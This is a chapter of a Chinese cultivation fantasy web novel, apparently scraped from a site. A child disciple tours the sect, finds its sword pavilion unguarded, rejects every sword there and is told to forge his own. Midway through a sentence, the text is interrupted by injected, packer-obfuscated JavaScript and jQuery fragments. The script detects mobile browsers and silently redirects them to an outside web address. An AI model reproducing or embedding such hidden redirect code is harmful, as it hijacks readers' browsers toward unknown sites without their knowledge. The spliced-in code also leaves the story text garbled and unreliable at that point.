三个人站在竹屋前的平台上。
清玄子负手站在玄面前,低头看着他。
“往后每日辰时,去演武峰广场,跟着师侄们一起挥剑。”
玄仰头看着他,眨了眨眼睛。
“辰时是什么时?”
清玄子眉头直跳,好,他不生气,这孩子什么都没学过,他不能生气。
清玄子深吸一口气,换了种说法:“就是天亮之后。”
“天亮之后是什么时候?”玄歪着头问得很认真:“太阳出来?还是太阳出来以后?”
清玄子沉默了,没想到他这辈子的报应在这个文盲徒弟身上。
他转头看向凌千山,面无表情地交代:“你负责把他叫起来,迟到了我拿你是问。”
凌千山:“是。”
清玄子离开后,玄等到到他脚步声消失了,才开始打量自己的竹屋。
“他住的地方也是这样的吗?”玄问。
凌千山闭眼感知上方的山洞,清玄子的住处没有禁制,很轻易的就探查到全貌:“他住的差远了,只有一个石床。”
玄点了点头:“那这个地方还行。”
凌千山忍了忍,没忍住笑了出来。
玄皱起眉:“你笑什么?”
凌千山绷住了脸,一本正经地说:“觉得你很可爱。”
玄扬起下巴:“那是。”
……
凌千山看了眼天色,时辰还早,不如现在就去领剑。
“要不要去剑阁领剑?”他低头问玄。
玄立刻点头:“好。”
凌千山习惯性地弯下腰,想把玄抱起来下山。他手还没碰到玄,玄就往后退了一步,一脸莫名地看着他。
“我要自己走。”
“从这里到剑冢峰要下山再上山,路很远的。”凌千山劝道。
“我要自己走。”玄两条小短腿已经迈开步子往山下走了,他强调道:“我不能偷懒。”
凌千山没有坚持,快走两步跟到玄身边,和他一同往山下走。
“好,不过累了要告诉我。”凌千山放轻了声音,“你总不想剑没学会,身体先生病吧。”
玄重重点头。
中途走到演武场时远远地就听见了破空声,走近了才看见试剑石附近无尘子正在挥剑。
无尘子穿着一身短打,露出两条汗湿的手臂。他双手握着一根削得笔直的树枝,正在一下一下地做最基本的劈砍动作。
玄停下脚步,站在广场边缘看了一会儿。
无尘子注意到了来人,停下手中的木棍,打了个招呼:“小师叔好,凌师弟好。”
玄歪着头看他,直接问道:“你在做什么?”
无尘子举起手中的木棍,笑了一声:“练剑,我天分不高,就用勤奋来补了。”
“可你的剑不是在腰间吗?”玄指了指他腰侧挂着的那柄长剑。
无尘子拍了拍腰间的剑柄说:“剑乃杀器,这里可是宗门内的演武场,人来人往的,虽说修炼之人可以控制剑招不伤到旁人,但凡事就有那么一个万一。”
“要是手抖了没收住,剑气伤了路过的师兄弟,那可不得了。”无尘子晃了晃手里的木棍,“这个就没事,伤到人起码还能救回来。”
玄目光在试剑石上新增的细微磨损上划过,然后若有所思的点点头。
无尘子打过招呼后重新握紧木棍,深吸一口气,又一次开始了单调的挥剑。
凌千山看了他一眼,心里对这位“天分不高”的师兄多了几分敬意。然后他低头对玄说:“走吧。”
两人继续往下走,离开了演武场。
走到山脚的时候,石阶在最后一个转弯处戛然而止,下方是翻滚的云雾,若是再往下走走不了几步就会掉下去了。
玄站在最后一级石阶上求助的看向凌千山。
凌千山蹲下身熟练的把玄抱起,飞向剑冢峰的方向。
一落地,玄就从他怀里跳了下来。
剑冢峰和它的死寂的名字简直是两个极端,到处生机盎然。
山上种满了矮矮的果木,枝头上挂半熟的果子,山道两旁蹲着几只毛色各异的灵狐,一个个膘肥体壮毛发光亮,看见有人来了也不怕,只是懒洋洋地抬了抬眼皮,又继续趴回去晒太阳。
没走几步,就看见前方传来一阵嘈杂声。狐明子正抱着奶娃娃慢悠悠的走,身后还跟着几个半大的孩子。
狐明子也看见了他们,笑眯眯地打招呼:“来领剑?”
凌千山抱拳:“是。”
“跟我来。”狐明子也不废话,对凌千山和玄说:“走吧,我带你们去剑阁。”
路上狐明子给孩子们介绍千刃门,一路上的氛围都很轻松。
走到半山腰的时候,狐明子在一处分叉路口停下来。几个练气期筑基期小修士正等在那里,见他来了纷纷抱拳行礼。
狐明子把孩子们交给他们,交代了几句“先教引气诀。”“孩子们还小,熟悉环境了再让他们干活。”之类的话,然后朝凌千山和玄招招手:“你们两个跟我继续走。”
等那几个小修士带着孩子们走远了,狐明子才小声抱怨了一句:“人少就是不好,干点活都得本长老亲自上。”
凌千山眼观鼻鼻观心,他和狐明子长老还不熟,还是不要搭话了。
不过玄没有顾忌。他走在狐明子旁边,仰头问:“那长老为什么不把领剑的活交给手下?你的手下不是都在吗?”
狐明子见有人跟他搭话,眼睛立刻亮了起来,他也不管玄听不听得懂,一股脑地把烦恼全倒了出来:“没有我能教的啊。”
“这次出门收的弟子体质都普普通通,虽说不差吧但也算不上多好,做外门弟子是够格了,将来能不能进内门还得看机缘。”
“还没入门的弟子让我亲自教也太浪费了,有我手下那些人教入门足够了。”
狐明子说完叹了口气,往山上看了一眼,“倒是不知道清花子那边能不能收到好苗子,算算日子也该回来了。”
说话间,剑阁已经到了。
剑冢峰的剑阁坐落在半山腰一处削平的山崖上,外观和这座宗门的其他建筑一样朴素,就是一座方方正正的两层石
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538632|203895||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楼,墙面上爬满了老藤。剑阁的大门敞开着,门前连个守卫都没有。
凌千山走进剑阁的那一刻,有些怔愣。
剑阁内部内有乾坤,并没有表面那么小,跟着狐明子踏上向下的阶梯后,空间越来越大。
虽说装饰简陋了些,但摆满了各式各样的剑,有的一看就是新铸的好剑,有的锈迹斑斑不知在剑架上摆了多少年。
更下方的空间隐约能看见更多的剑,就这么大喇喇地摆在架子上,没有任何禁制保护,伸手就能拿到。
是的,整个剑阁内部没有任何灵力防护,连最基础的警戒阵都没有。
随着深入剑阁,凌千山这种震惊的情绪越来越多。
凌千山简直不敢相信自己的眼睛。一个宗门的剑阁,存放着这么多宝物的地方居然连一个防盗阵都不布?
然后他忽然明白了清玄子得知他是阵法师后看他的那个眼神。
凌千山默默地给自己点了个蜡烛,他大概明白自己未来好一段日子都要做免费劳工了。
不过眼下还是先把剑领了。
狐明子揣着手站在一旁,下巴朝四周密密麻麻的剑架扬了扬,语气随意:“可以随便选,剑都在这儿了。不过……”他话锋一转,语气认真:“想要带走,就要看剑愿不愿意了。”
凌千山点了点头,目光从一排排剑架上扫过去,一眼望不到头。
他一排一排地看过去,有一柄通体漆黑的长剑让他多看了两眼。他伸出手抓住剑柄,想要拔剑但没拔动。
凌千山收回手没有强求,而其他的剑没有能令他心动的,于是他转过身,想看看玄挑得怎么样了。
然后他就看见了玄走到哪儿,哪儿的剑就开始震动,还有些剑晃动着拼命想把自己往玄的手里送。
狐明子笑道:“不愧是天生剑体,就是招剑喜欢。挑个喜欢的带走吧,我看它们都挺愿意跟你走的。”
但是玄摇了摇头。
“这里的剑我都不喜欢。”
这句话一出像是泼了泼冷水,所有的剑都蔫了。
狐明子愣了一下,然后仰头大笑起来。
“乖乖,”狐明子终于笑够了,他擦着眼角笑出来的泪花,“你这话可真伤人心,这里的剑每一把拿出去都是外面抢破头的宝贝,结果你都不喜欢,你瞧把它们委屈的。”
“不过既然你看不上这些剑,那就说明你的剑不在这里。”
玄抬起头看他。
狐明子认真地说:“或许你可以挑一块喜欢的矿石,自己铸一柄剑。”
玄的眼睛顿时亮了。
“那我该怎么做?”玄期待地问。
狐明子轻轻拍了一下玄的头顶,“等你到了练气期,再来找我吧,到时候我会教你铸剑的。”
“一言为定。”玄仰着头,目光灼灼。
“一言为定。”狐明子伸出小指勾住玄的小指,晃了两下。
“至于你……”狐明子转头看向凌千山:“你的剑也不在剑阁。”
凌千山指向自己:“我也要自己铸一把剑吗?”
“对。”